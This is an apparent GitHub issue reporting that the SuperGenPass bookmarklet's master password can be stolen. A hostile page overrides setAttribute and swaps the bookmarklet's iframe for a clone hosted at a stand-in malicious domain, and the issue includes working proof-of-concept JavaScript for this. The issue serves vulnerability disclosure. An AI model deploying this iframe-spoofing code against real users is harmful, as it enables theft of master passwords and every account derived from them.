Skip to content

Master password entered via bookmarklet can be stolen by spoofing the iframe. #90

@aishikaty

Description

@aishikaty

Here is a code that detects opening of SGP and replaces URL of the created iframe. I could than create a copy of SGP and add a script for sending the master password to my server. User wouldn't notice anything suspicious as they don't see the real iframe's URL.

var originalSetAttribute = Element.prototype.setAttribute
Element.prototype.setAttribute = function (name, value) {
  if (value == "https://chriszarate.github.io/supergenpass/mobile/") {
    this.onload = () => {
      this.setAttribute("src", "https://www.malicious-clone-of-sgp.com/supergenpass/mobile/")
      this.onload = null
    }
  }
  originalSetAttribute.call(this, name, value)
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions